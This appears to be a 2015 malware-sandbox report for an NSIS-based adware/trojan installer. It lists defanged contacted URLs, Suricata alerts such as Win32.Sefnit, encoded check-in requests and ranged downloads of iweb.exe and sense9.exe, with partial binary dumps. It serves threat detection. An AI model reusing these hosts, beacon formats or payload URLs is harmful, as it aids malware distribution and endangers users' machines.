hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=LCnUzM5l8JL2b5ZtEYATmKIKKufJNjik/AcH8PricLVP XtorcoTKl9JmdJZXAb1wbkcTiNWmo/wleHdxuxplOP02XJBghHECuY5KAgEuqJQDt2X2jDCEvXH00p6LCl39lOUM6J79LgCK57HYRhYyEMEhKRjPtPBtqueNuV5RRKM6rj1sArpGYEOz PgVj0Lt7G/yXPW4uAmOrZFPj41hpR1VsvE9COl4L8jm4XJmBVAfPJiocFViz8tbqmyb0fS 6lj4759r8RAB/YSDAGurDKp6WHHMklVdhH2ZrpRFByrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZ3jd05TL7uA75YjrOJXrpTBXl5O1yvgpqzcXCJb OKoc4yKTdSya8wUNdG95mE1sb0kEBXXcjvsndo6KOXOaYGSHO2tzSIBdFv9YN/fe8 u
hxxp://bi.bisrv.com/downloader/grooveload/grooveload/b4cbe9ed5adec14c854e2a5305d64e4a?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=b4cbe9ed5adec14c854e2a5305d64e4a&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://www.appshat.com/css/main.css
hxxp://dl.newinputinfoservice.com/smt2b/all/hat/row/setup.exe
download.cdn.mozilla.net 93.184.221.133


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET TROJAN Win32.Sefnit
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
ET POLICY Executable served from Amazon S3
ET MALWARE Win32/Toolbar.CrossRider.A Checkin
SURICATA STREAM 3way handshake wrong seq wrong ack
SURICATA STREAM 3way handshake with ack in wrong dir
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)

Traffic

GET /fp?alpha=DhsWLnpZaXVlYFZlOQR1D19FI3oORwBfOykaVzEmCQ8bLjwMahcqFAgofFspTwoaDwYTaQ1ePA9vRXEeFj9rWH1pb1ExdVo1BD1sK09tI2VNGhViJBkDQVp/cHUWbG8LT1c6fl5hH1EWCVwKNShUCBt6BQ9leCglEx1HcHpZDTQjah1eBXApQkIGOysmC2YRaB4AAHZ0CBZKQnpwZRBpewpDWj94S2BDSBAOSQ0hO1MOAy1XHjksOmpPECcqM14QM2YcBEwHaiIAG198didYcDwcOBFCPXIVHENTe3hzFG5wWQkWNRgCOUIHU09Jfn19B1NHLkRgIXslOxYaRUh6TgszegESHlJDeCtCBjYnexISXXxJBxhiJBEZRE99DXEWa28JSTxJCy8mfEA/VTZE HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Wed, 15 Apr 2015 02:28:40 GMT
Content-Length: 0
....


GET /ii?alpha=ERdfLUUzNkkKLnlucAdKEFMMIEURS1MFSCQkSzwAQ0sVagAEZjwcckURU0lBHl4YLC9IJ2RtflkcDHFSEVwjKS1+EQMzQkVLSCwGNFQkAhY8SAQ8GEJDHBISangvb11mMHA5XUNiK1s2FyAxLwk/A1kKJGBgR14OexQNeFZmRjVwdXIRC3dOQktILQ5tEzdCQ00JWHkZBhYcBRAxCx8wVE4TS3scGykKTX9GAzFpSysMW3gnEX84LQcNDw93VhZDNXpmIGlCYk4lKF93UyleaRZKNFIHKEZAURZBQ2NkDzYdARlAfRUGZiICeFEKAHRCCRE9IWdFPnZsFwoBbjMMQhdgbmogS0xtUz5bWW5FL1RwHBlDAUl6BwYMDVdFZmkeOhtRH1BuUAQ6DAA7GUVCNRRbXhkkaE82PFpZWk1XMgsEWkZzajtASSEgBBoNfVN0AXcFSlcdB35ZClscAANqcF1zWBdEFWYRSWtfUS4TX0YtHk9zUHo5G2U0OUdSRQMHAkgBdjtnIEhDPDc+JDdZBjlIdBBKJ3g2AmgRRk5cIxo+DC0MC1ZlRgcVKQpLTUoXB25FERE5aFpiAkg/c1RSVWEnQQR6fmZpVUY8VRUVGiURe10kQjxbKyQ2PVw= HTTP/1.1


User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Wed, 15 Apr 2015 02:28:40 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..
Content-Type: text/plain; charset=utf-8..Expires: -1..Server: Microsof
t-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP002C2..X-Powered-By: AS
P.NET..p3p: CP="CAO PSA OUR"..Date: Wed, 15 Apr 2015 02:28:40 GMT..Con
tent-Length: 84..DN6acWUGhNh1EBO9pw0kCpPYZXoI0d18FwXS/CFlGMqEO3JT/N9bV
xKO2yJ3E5nIcQsG9rEve13Zm3nEh8n3....


POST /if?alpha=ERdfLUV5WywpZSBmcAdKEFMMIEURS1MFSCQkSzwAQ0sVagAEZjwcckURU0lBHl4YLC9IJ2RtflkcDHFSEVwjKS1+EQMzQkVLSCwGNFQkAhY8SAQ8GEJDHBISangvb11mMHA5XUNiK1s2FyAxLwk/A1kKJGBgR14OexQNeFZmRjV4YHJ2RWQfHDIXcVQWTnUfJBRSHS9BEU9MXEFxP1BtWRZDHTtEWmpbRSkSUEMqEFtVDy5LUz48dlJFUVIuEUFUd3hlDVdCV05BS1coDmQVKUNZUg1cfhgRRV8OOTgqUAo6ARlAfwkEPlI8ck0BHGxXURFcfCRDOHU5WE5XWzNeaRtwb2w8Skt1UycSF3xPKlQ5RFczSQYqTERRUw4bNiVNEUkHAFZ5Ax00AUshA1NdKgpKB1p5KVI0c2leXkQeMQJHGTMnI34LHSccAxcYdkdgYncUGwpIAWwBYkxTFRAzaT4rCFMTQCJWGi1SXz1NVwMmXVtQHHUwEX0wLwUbTF98UxRIJi05ehMXMzFKSUkiFGgBaRwTXn0IIFpSBF4OGDl0KRE2aTcVbx8ZOFIvWHwrMj1ACQw8BX5AI2QzF2tsSSARQVJFdHE7UExtUyNbKltzFAddGgQIGy0pX15BX2kCEE16FGs= HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Content-Length: 78
Connection: Keep-Alive
Cache-Control: no-cache

alpha=ERdfLUVjFWkPNU8BWkkrNkgMPlprQ14MKRY5HRsIUxdvRx8XOgM3T0YIA0dNEVZFX2ksQAFn
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Wed, 15 Apr 2015 02:28:40 GMT
Content-Length: 41
{"status":"OK","url":null,"message":null}..



GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:28 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063025"
Last-Modified: Wed, 15 Apr 2015 01:57:05 GMT
Cache-Control: max-age=1722
Content-Length: 250000
Content-Range: bytes 0-249999/10995037
Content-Type: application/x-msdownload
X-HW: 1429064909.dop001.fr7.t,1429064908.cds023.fr7.c
Content-Disposition: attachment; filename="iweb.exe"
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@...........................
......./........ ..............................p.......0..(C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected]...(C.
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:28 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063025"
Last-Modified: Wed, 15 Apr 2015 01:57:05 GMT
Cache-Control: max-age=1722
Content-Length: 250000
Content-Range: bytes 250000-499999/10995037
Content-Type: application/x-msdownload
X-HW: 1429064909.dop001.fr7.t,1429064908.cds023.fr7.c
Content-Disposition: attachment; filename="iweb.exe"
..hDc...d..F.%xW..LL...."..O. .Z..L..............I.. ..%.L%B..N.....i.
W.4xT.n...96%p...=...).....c^..}../...?......!..'.....1.R`M...>...K
......]..i.w.%u0.....i6c...........3V:]m.\.A9^.jv.{U......By.B........
..Yc..O..s2..DM........N2.....i.gp.7.....#. f.>J".C4.;.MMJ4(.*.S.._
!b..".3I... ....}o4s^..:Ya;.:.<'......e&.c...$.......G..^.|.....9..
.M...5..t.s.N....x.QV.....Z 7....o/....(>.5dm.bN...3...%C.l..f..(p.
..O.4.'.br...C....q..-B7.....^......Q...uY.sG.30<.d5...z(..D.\[r..M
-<.U[][..8..#.....@..)..._....l.e.g..(...wS-7........).Xwa.E.j.h...
6.*.~.../.rG"~.......=..3..^[email protected].
...o...U..23O.d...*.=.q=K....].7....z..i../.....| [.~.}.....dJ65... ./
.Um].&d#..e..N. /".#..H..Y..b....t'...W.T...e..*.s..$..X.F.........W..
2.jX<..4..|%....Lt.....v&t......C'..<........./.\z%.;..=AP..k.i[
.K.PG...|.... d.=..Y...\...g.t...........U...y.. .. .<.$....lUc...t
.5...]....{h.......s=..|ZM......X.......7.Z.........g..l.k.G.L.N...`..
...3-:.....L[&.E.O[l...l.gH..t..q..d:..w&:l..k.......h..).G..HPo...z-Y
.qa`t'..4...v^....n....:.`[email protected]>.(X;.<.|a....k..c`...m..'
...C....8.#p.CSsH@~=.H...$...Y..J...7..`.OW.n.T/K.z....P.2\......gi..R
.!... /uD......3...S..$B.......>1..qN.Gc4,,{h.Au.k.'Civ0..Y.>.J3
=....<9..qh~...m.....c.'...c"$.N.B.....e...lO...5....|r..x.....".".
.EAB^.C..M.qH#CY...b.9/:.b..tl.i/0=lU..eU/....E......zB..[.4D....}m;.v
.F...o.*.9y....o@,....<p. ...X..".....PS....)1.S..f.}...1.c.s.3EJ%.
K^..........\[email protected]<....[..`.xv.p.5.....X."...
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:29 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063455"
Last-Modified: Wed, 15 Apr 2015 02:04:15 GMT
Cache-Control: max-age=2152
Content-Length: 250000
Content-Range: bytes 2250000-2499999/10994788
Content-Type: application/x-msdownload
X-HW: 1429064909.dop001.fr7.t,1429064909.cds023.fr7.c
Content-Disposition: attachment; filename="sense9.exe"
..FYMn..{?.j(...Lx_..a.X.. P.2.xfc.n..R......."..-.k.#.r6..vp...O.4@..
.."..0ks}M.=4..j..9.....m2.......{)d......u.>.4*.(L.A..(........84,
Z..&....n.|...d\...r....w....cy.-....`..l.....5Ra..dV...x:.q....G..}..
.\.......%..E/.R.9.......&T.g......m..f.X...m.g..b...DJ.....{.....l.=.
....Wc<_..]r5.&.........|.N9.`Y.b..[BR..LqM...:Y....O.=.Y..V.u..f..
76.)...7.C.U....-.....>..<ZW..Gk.. v.!A..k....<H<.TY.E%.Zp
.......'.....v.S.;....z.]T....Ue...B..H..DFk..1..O.Q...M..<..(.Y...
o...{k.z [email protected].^.v#..#.rg.........3.:.A......{..D..O...)ru.0....V....
/[email protected]..].*..Y%>-;.....D)".v.e....
-.g...:.Fs...e........TG..../;[email protected]|\......}Y-:....p..e.....{
...^{E.`{..M%?A..'..uL...-...F.$...IN....\3.N.2...............m......]
.....?......#.7.....'.....d.s..[a~.`.W.r..f.T...!...4.)...........~...
.Q/......5..N...*.I.N...2.......>[email protected]....
.eL..C..#.........k..U.P`.....'...9...H....*...9.......*79.2....tI.`~.
....Vr .....(9.^.E.........fp..]g..8T(N.z.G..Fm...2q...~.>c.....@..
(...._K%|=..h..x.I.n....jJ..F8.$TS.K.#Y...S.......t...k.o....6`.|...5.
rKa..]...,..O....L.>Mq.W!D.....$...^.]...`.p... ...W.."........^f*.
.v8hz...#..xje.IR.&T0...j........`).b.....eh32".G;Bu..E..WI..>.d..r
p5.y.~ ..@:O.n.O.T$o{tA...Y..............(....#S....z...`..C..c...?^..
.........e.<K..hL...6.iy....LG..y\~..E.U.4...yw..W..!?..W.>.e.!F
.#....f...:....|rR2......:..k......Qv.t4...hV.....$=..b....=.g..!...e.
.-.=.............. DS....-....8.......r...%?.6HE...vH...-.....q...
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=3250000-3499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:29 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063025"
Last-Modified: Wed, 15 Apr 2015 01:57:05 GMT
Cache-Control: max-age=1721
Content-Length: 250000
Content-Range: bytes 3250000-3499999/10995037
Content-Type: application/x-msdownload
X-HW: 1429064909.dop001.fr7.t,1429064909.cds023.fr7.c
Content-Disposition: attachment; filename="iweb.exe"
....


GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



..Q.s{*[email protected]?1..\.i.....G.,P...4..Z........^..}..)....].
.. [email protected]@.M...0s.M.m....l.e...KG...D..s\U.v.0.t..(....2
A7 .K..aEO)....:,:v...p......;zn....j...;4.3..W.B..m.}.........$V.\;..
>.._AZ>......6s....l......z...2....l?... ...U.#....^......t..C..
p.%..4..."........?.c...,..N....Q.....tN6...S...$...K...`j........L...
.L..h....0F.z..Z...!,e.CE@Zb\.M......U'[email protected].......'=....Z`
.V......o...r....6ku.....[p....R..ar|ng....c..&.^...-...m......iZ.....
z.x....D..[/{...08.y..... !..E.N.*R.Z....E{%.i.......bH.....F"...)D.6.
.......q......8:= .eg..Bo.p...qMu.tK..p. .........J)?.8...q2s..0p.?.rc
H..QC...7.tO.:.1\.xM..i.........5..D.FhHNKg!T.AVU.'.#..)..L.fm.....G.C
.{..c..'.V..@.'.'@...........BSB%{...aC.w.....|..` ..YU.&m.....23..{?[
...._....k*)@;f......*.....o..s..aa#......!.y.w6. S.j...V..WW...T.&..x
st...D.N...-,...p.T}G|....U-..b./....N.......@.}d..4#..b"..[{O.X......
F.....2....J.8 ...b..6......9.........;oT.Q=.(#..:.|.0..."..*29....E..
.n.....b...*..nl_.i....2.Q........$..y...........Zd.......V......">
n..g.u.W.C..a...?Y:...sl.....f[.X..j.4.=...f.........= .r.i&.p.P. ....
.........=.. .R-q.3.Z:_..DaU.3^..K..m;!.....oo.2..a.......6.a..;..Sh.2
 ..s....!X...E= 1D.j...D.)..'..0..[..Q..4G..&6........".j@;F0Z.J.p~.. 
[email protected].)o5..Q.}.$.....52....P..*j.N.6......h.;...c.[....E.Z...x.
.t.ljm0..Dm*....o..i. ..v.....Y.H..F.{0..%...P$............Y L.^*...R.
(....2.....,..u*..p<$.......QU.*..7y..!\.]....!W}....&[.......\.`..
{F.K.,..B.6&....C.......I......Xn.p?.A.. ...X.f.Z_jq.....08i\..7..
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=4000000-4249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:29 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063455"
Last-Modified: Wed, 15 Apr 2015 02:04:15 GMT
Cache-Control: max-age=2152
Content-Length: 250000
Content-Range: bytes 4000000-4249999/10994788
Content-Type: application/x-msdownload
X-HW: 1429064909.dop001.fr7.t,1429064909.cds023.fr7.c
Content-Disposition: attachment; filename="sense9.exe"
2.aB..6....M.Xp............E..m.~.*.N..X.H.".&^........s.}...M..]..H.I
C.....o.P..W.,.l......c/./V....C..P...8....v.Y..u...........F.6..F'@.@
... *..xZ,Z.t.).$nv.W..P......U.&]........oU.`I..{?.iC..f.en.G.u.D.zll
......}..w...U..h<.^.  %.....T.m{el[:`..#.W}.....J..>=.&V...Y.(S
2.?.Q."...].S......Z...PPg.B.yGE_.......C...V..i...Rc...vt......a.\..G
*2...H!.G...t.k..Q5Y.".".`..T..o..9......z.!Q...X...w~.......e.....;..
..0<.f..h.P.}..n.3M..w..o.mm..ZQr.....7%..........5H..H....'..w'...
HE...g.m!.........rC.D0.k.o.;.....si... .......9?........A...D|.......
.)C^g..../...8..e.$|......%[email protected]_k.$f.`.t...2....lb.|
).M.%...@.!].{|.S:nU.9_2hG...Z......V.......0|..,..I.".L..=..?E.'9!.J.
-...g.#>.F..-..!j.P..l.T...&.M........M%.?=...).-^|.'.]...6......A.
.2P. ...,........%..wYZ.V.....T.|.%^.C.....}... .....?...x.:.un....k:.
.&.......YP..z.e.'........gj.bgO......h....w..skL.Z...g.zk...._Z...6u.
..-....Q....d........#.|...Xg.K....l..3........3........\[email protected]. .
...n../.J.........vq.a;.....yF/...~__..x.X.:....."..o8.....[un....:..L
. h.e....2..V`Y`..c..?g..q.h.l..Q...Tg...Q..n..HP)...}..k(g.J0..N.."..
..n......r..........U....X .B.]..#.......h.oD.8....4}\7...|h....>..
.'.".....k...'.....82AF.G..Wc....x.S.....'..^Z...j.....,..)A....4>.
t......r..z.MQd(......5.&3[..!...`..M$U.....kD.M..c.U.#Fwx.BB....=...3
.k..Z.!....(..}.......f|e..X. ....H.a.5..ZF..X.CDHv.....s...X..9..<
:...le.....#<T...vPj....)..]_... I...B...A'.b......".".R.2.....8.
......".AB....e.U.Q.ZwM.s.m....I...TO(H..".l8.<.....e...J7...@n
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=4250000-4499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=4750000-4999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



'.h.y.c{...k..2.o..~m.5........F....e...I..MNX..*.7...s...\h..../.....
.D....Y.EQ.....|r....I.Pt.W...?..V.f....&....P#[email protected]......
....!.O..V....t...P......R.......8q..CW~.n.vG)....;.m....7.J..@s._...{
S....R...-..$.>@.*{...*.\Z.....,.V,...9..=..1..sl.|Y$A....a.X.HZ..W
6..\.....4.J./...X..#..9....O? A"...Z.He(....o...Ki....rk.,[email protected].
.....H....LC.......p..3L.R~.bH...uH...v......?.|9..O.1Vr.....m...5....
..#..I...:j.&H....X.p}cu...&Q-*.D>......".....m...1..'y..iA.....x..
.[b.A<..W*....L!>R..2v....`x..Vv. J..@...<......z.....m...c..
.~........7.....w...h./.|!...jq..5..E.m.U...a%.........Q.^..f..d.$...Q
.K.P.1d.1Q.t_.......v.45)..J..n.q..p.'...E3.".....|>.?...fM.^.g....
........d.uL.~8.7J|....A......[.Z..H..S.&}.I{...@.#.q.t..5.U..!.`...a.
.E.....~..U...pxs..%.........{IQ.z.Z.T......G.bB?.(s....\x,..9..:t. ..
.Jr....D.....9A03.....D.3i .x.j...T..!...i...O.W.lV=.'...b%.z....u.Z..
.$..y....c....QU.3.v..z..K..'.i.h$.EG.s.6..D...=yDrj$v*r...c..?..5L...
-zz.w..N:...._..Of...}(....3G......c..u..T.BjC.....(...../W..-.$~2~r/.
.} >.....v..i....I*ELIU..)>.m5.....Pvl.B5b'.[Y..)PH^...>.....
...h.......*................... .....d...U..g..h.......c........<U.
..R.1.......a..i.....6.b(wmM.e. .,>.....<.`.....V..s....73m...ZA
;..>)[email protected].......:k).y.u.RX%E..t. vXjaz.(..A.;..}.4..6P.7....z
X.J..0....F. .F......z.bP..P.J.".j.}T.\..)'...)3...l..6.5.....{.w...T.
u8..-A#W..1-........{..c.EQ..o.eYt...4_fjJ.[.H.Z..7oe..|6.~[....O.....
..m.....[..t.. .yA.%.[...x.Ou........\.Sv.D.......-.....3..l@=...1
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=5000000-5249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



K.([email protected]..`.?.R.].D.X...t..e........
&.D...=...u...[.{6b>.f..GB7....|....:.;[email protected]..%qj......
..a.o....ao=...&.7..G.e.D....../'...T_q..Fsa.......sB9w.......7n.....{
..L....X._..'..,....n.F..3..I1.........5!6rE#[email protected]../x._r...yo..
.{....Gq.e...p..Y....h[w/....m.gE....!...........2..r/.h/.J...xU.>.
...Y..= k..=#....(..jf..y; .[.{........T....r.X,....T...._u..o.b@.....
.d.N......G..0....!Osx.|...Lh.../.....y...m5..j..|....bP.....j.._..Q..
.r.f.........7j[=V../d..bm.....?....>.....^..............6F....b.&g
t;...Gk.)9.....pw..t.<r....]V..w....y...8J...?..]-.H.J7}.....FJU...
.(.e..RC0.....0.$..D..V....M`cv:...C...6.=....v-oW>.J..Z.#. }r].y\.
..*.....Q..h.f....\.s....-....G.<.l...dVA...=...-p..#....oB.....b..
....O`....3IA.{.p.6:)v.&^k6M<%..R&M.cQ.<.>2.,y.O.-....z.UP.
:e..;.<s.AE.;..c.h8.}..u;.Gl...].7...?.J.j.jD.......$..^.S.M.%...D.
..u.....s..Q.:......}.Q!5jg........"[].e9M.{.v2b..Q.....V|.V.P.....0 .
.B/OR..1......_.S.xOh.^..O.*y....e-|...H.`@.d~Px#...%.r......9........
S..J. >..VP...g3.......s.i4`..i...rO.:.....-.J.i....=.......'L.....
j.xb..Y..l.|h.}..A4....`.in[.i......4..QX....D...4o.x.1.D........p.7].
l....t......dy.....aN V^.S.97...\AI.3..ct.*..h..j..t..FVc...|.....b...
g........6C...j......c.D.}.. .'.">..=...i...W4.V..%....|........C?O
.e.yh.......x...=E..<"/.!.b.UC.d.........S.L.}.......2S.8...z..).U/
t7..u....1......2.2...:p..[..I.....]l3..C...%.I........9.......n......
.'....r.}|I..r5..U..O.L..]A8w..\.?.d.K'n.......i..=.mx..U.......O.
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=5250000-5499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



Ug..}a..\e...X..."......K.GvFp..D.O.......G.Y....P..jy.....*2..iF_X...
.E.OSS....|.......r..).i#.....zg.5.v...a.C^$.6.....p.(....].].T.Fo....
..."...<.....y.....cha^o.N.pm.....|5....l-.S..(H...4..m........w?..
7..I....'.......%.^..%.....m..;W..;J.=....G9k..R....z.=d..uqk..&.K...l
...y...m....$..r....~.J...D..x..y..f..;b$.$.H.-.....P....xM...3y'./!..
.Q..\K2.7*F Q.P......".isf.Z../.c....x>....5..e....].W.U[.......{..
.].(.6....Ow,d...G..eqe....Ryz...Q..!H;...vBc../..Q...<H.zO...;a..P
.Q..p.H5."y..m[[.. .u....:,K.X..l.|.r."a.....Jd....uMG...)<X.m.....
2^......O......*[email protected].:.......p.F.n..&.L...
......RV<G._h[.............V...Y.lW.;....On.m...C...n.m.'.{o&j;.0I.
.u..I..,..........^...OH^.>...}.1..fKa..p...........`..8..=n.QZT>
;..-.Timj...S.NBM..A...I.&..?.6...M54..z..P.........G...x..(...!5....I
..|a....}.P.".&:niP..........|.......D....]y..d. 66..sZ\'..|.......u..
........V...R...H......P..`X..T..&....#..tJ.1I.s.....f.V...5;..T.....r
..>.T....Q..?.^...VX.40.\.A..CN.... .'0.St.G}U.@.. 8.sq..]a$-1iv..o
.L>..cP.w......E..;...#.8...."=%.FB..=?......D. .....G.2$.....w.K..
..B..g..>.I,.4.u.<|w. [email protected]...*L....wA........, y......&..P
..M3.^XaS'.!M^!l....9........N...[z.............F..7../........i.\F^..
.../.rz^=..../<B..].H.....{U...T..n..q.k.....$....9t../<..>.`
....Y..;.....>r.u.9...jzvU..([email protected].'
..|V.0.............P............A.*.........%.*c..qw..2rD8.,.B<..j.
...;....-.C8ACD....ij....H7pRy..BV............sHyv[....tF.u.9.....
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=5250000-5499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



{..


GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=6000000-6249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



..?.?^g.LK..Ck..CjA......h.|.b.0P}..u..d.x.\c..Xmm..9..F.<.....<
....h\...._Fh.R.u..9.&...P."...$...q..P.ek.V.~\.A^....T......d$;7.[...
3.O._..J.....q....[..4Z<dG.......lz.D....3$ne....h..j.t=.Ot..e....*
kR....Eb.Fn...a.v....g..bnK~..8....eq..0....._V.n.o ..o[..8...oJ..t."X
.h..I.i..Hl..#i....3.......^ .nm3r..... ... ..]...p......i..4..~.g..`~
.?h?.r...v..'LVN]...a.M......~.X..0.A.l.t.....#.v.9f...3.ceS..n.'.S..0
....T..$.l.3..z.$=s]@..!K....2.w..4....(..X.#-7.].]`...2.Q.........X..
..s..,..x#...k.....Sd...T7E.i.......^...'MJA..hi.O.Ns...QJ../T.T-.RA..
......=.........97....m...'......rLIE<...K0....=S..O.).6W....p.....
.......@5V!.{.I=ji.U...NVT.G.[.....//.=......C.`..z...N.n............M
...K....#Kl.....k.Zz.Lm...........0G....H:"..]\..`........*.qa.. ...3&
gt;."..[..{....8.:'.*......6M./.i;0....B...)..E....._...*^8G..Q.....'.
n0X....kk...G.L...Q...wZ.T..'G7|[......^.r../.........pz._w.....I.s%]*
aiN>[email protected].."..O`....j...........R.C&...*.uk.
9......:....LVu.....[Q..l.B...K...O.>.XZ.8...}\91|M..P.ws.. .....c.
.....R.....-S....K...g".&zP.... ..f....sG.s....W.bvv.i"...2......-....
...wv......p;9\.53c ).5M..].....&.Q...q...#V&...5..s..o.$fd.M..&P...T.
.............@\.....S.....#p.....4z~7c...7p...............m.n.i...W...
..Es.o.V.$w..G.....WboC.m.Zu._N7.....M.3.....q....W...?.|..W...n.u....
..^T..)...R.;`N.O....1...s..G....F...N.....S.v..AO..&.S..mJ.*.u....e..
Qy4.c.....'9.......sH.-.........0h.Oq[l}...X.L......<..^.k....B....
Cs.a_..M.N.*.O#.v]{..J....7`...Q<.zh..e...8.J.a.bZ..._`2../.Op^
<<< skipped >>>

